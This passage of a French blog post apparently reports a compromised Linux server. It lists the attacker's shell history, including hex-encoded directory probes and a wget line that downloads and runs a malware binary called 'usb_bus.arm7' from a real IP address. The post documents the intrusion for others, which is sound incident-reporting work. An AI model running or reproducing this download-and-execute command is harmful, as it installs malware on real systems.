    comme binaire dans /usr/bin et exécuté par le cron

    chkrootkit et rkhunter n’ont rien détecté

    les traces de celui-ci (l’IP est en pologne)
    pas eu le temps d’analyser mais se loge sous la forme d’un usb_bus

    324 /bin/busybox cp; /gweerwe323f
    325 mount ;/gweerwe323f
    326 echo -e ‘\x47\x72\x6f\x70/’ > //.nippon; cat //.nippon; rm -f //.nippon
    327 echo -e ‘\x47\x72\x6f\x70/tmp’ > /tmp/.nippon; cat /tmp/.nippon; rm -f /tmp/.nippon
    328 echo -e ‘\x47\x72\x6f\x70/var/tmp’ > /var/tmp/.nippon; cat /var/tmp/.nippon; rm -f /var/tmp/.nippon
    329 echo -e ‘\x47\x72\x6f\x70/’ > //.nippon; cat //.nippon; rm -f //.nippon
    330 echo -e ‘\x47\x72\x6f\x70/dev’ > /dev/.nippon; cat /dev/.nippon; rm -f /dev/.nippon
    331 echo -e ‘\x47\x72\x6f\x70/sys’ > /sys/.nippon; cat /sys/.nippon; rm -f /sys/.nippon
    332 echo -e ‘\x47\x72\x6f\x70/proc’ > /proc/.nippon; cat /proc/.nippon; rm -f /proc/.nippon
    333 echo -e ‘\x47\x72\x6f\x70/dev/shm’ > /dev/shm/.nippon; cat /dev/shm/.nippon; rm -f /dev/shm/.nippon
    334 echo -e ‘\x47\x72\x6f\x70/dev/pts’ > /dev/pts/.nippon; cat /dev/pts/.nippon; rm -f /dev/pts/.nippon
    335 echo -e ‘\x47\x72\x6f\x70/run’ > /run/.nippon; cat /run/.nippon; rm -f /run/.nippon
    336 echo -e ‘\x47\x72\x6f\x70/run/lock’ > /run/lock/.nippon; cat /run/lock/.nippon; rm -f /run/lock/.nippon
    337 echo -e ‘\x47\x72\x6f\x70/sys/fs/cgroup’ > /sys/fs/cgroup/.nippon; cat /sys/fs/cgroup/.nippon; rm -f /sys/fs/cgroup/.nippon
    338 echo -e ‘\x47\x72\x6f\x70/sys/fs/cgroup/systemd’ > /sys/fs/cgroup/systemd/.nippon; cat /sys/fs/cgroup/systemd/.nippon; rm -f /sys/fs/cgroup/systemd/.nippon
    339 echo -e ‘\x47\x72\x6f\x70/sys/fs/cgroup/cpuset’ > /sys/fs/cgroup/cpuset/.nippon; cat /sys/fs/cgroup/cpuset/.nippon; rm -f /sys/fs/cgroup/cpuset/.nippon
    340 echo -e ‘\x47\x72\x6f\x70/sys/fs/cgroup/cpu,cpuacct’ > /sys/fs/cgroup/cpu,cpuacct/.nippon; cat /sys/fs/cgroup/cpu,cpuacct/.nippon; rm -f /sys/fs/cgroup/cpu,cpuacct/.nippon
    341 echo -e ‘\x47\x72\x6f\x70/sys/fs/cgroup/blkio’ > /sys/fs/cgroup/blkio/.nippon; cat /sys/fs/cgroup/blkio/.nippon; rm -f /sys/fs/cgroup/blkio/.nippon
    342 echo -e ‘\x47\x72\x6f\x70/sys/fs/cgroup/devices’ > /sys/fs/cgroup/devices/.nippon; cat /sys/fs/cgroup/devices/.nippon; rm -f /sys/fs/cgroup/devices/.nippon
    343 echo -e ‘\x47\x72\x6f\x70/sys/fs/cgroup/freezer’ > /sys/fs/cgroup/freezer/.nippon; cat /sys/fs/cgroup/freezer/.nippon; rm -f /sys/fs/cgroup/freezer/.nippon
    344 echo -e ‘\x47\x72\x6f\x70/sys/fs/cgroup/net_cls’ > /sys/fs/cgroup/net_cls/.nippon; cat /sys/fs/cgroup/net_cls/.nippon; rm -f /sys/fs/cgroup/net_cls/.nippon
    345 echo -e ‘\x47\x72\x6f\x70/proc/sys/fs/binfmt_misc’ > /proc/sys/fs/binfmt_misc/.nippon; cat /proc/sys/fs/binfmt_misc/.nippon; rm -f /proc/sys/fs/binfmt_misc/.nippon
    346 echo -e ‘\x47\x72\x6f\x70/dev/mqueue’ > /dev/mqueue/.nippon; cat /dev/mqueue/.nippon; rm -f /dev/mqueue/.nippon
    347 echo -e ‘\x47\x72\x6f\x70/sys/kernel/debug’ > /sys/kernel/debug/.nippon; cat /sys/kernel/debug/.nippon; rm -f /sys/kernel/debug/.nippon
    348 echo -e ‘\x47\x72\x6f\x70/sys/kernel/config’ > /sys/kernel/config/.nippon; cat /sys/kernel/config/.nippon; rm -f /sys/kernel/config/.nippon
    349 echo -e ‘\x47\x72\x6f\x70/tmp’ > /tmp/.nippon; cat /tmp/.nippon; rm -f /tmp/.nippon
    350 echo -e ‘\x47\x72\x6f\x70/boot’ > /boot/.nippon; cat /boot/.nippon; rm -f /boot/.nippon
    351 echo -e ‘\x47\x72\x6f\x70/run/user/0’ > /run/user/0/.nippon; cat /run/user/0/.nippon; rm -f /run/user/0/.nippon
    352 echo -e ‘\x47\x72\x6f\x70/proc/sys/fs/binfmt_misc’ > /proc/sys/fs/binfmt_misc/.nippon; cat /proc/sys/fs/binfmt_misc/.nippon; rm -f /proc/sys/fs/binfmt_misc/.nippon
    353 /gweerwe323f
    354 cat /bin/echo ;/gweerwe323f
    355 cat /proc/cpuinfo;/gweerwe323f
    356 cd /; wget http://195.22.127.83/bins/usb_bus.arm7 -O – > usb_bus ; chmod 777 usb_bus ; ./usb_bus ;/gweerwe323f
    357 ps aux
    358 dmesg

URL de trackback pour cette page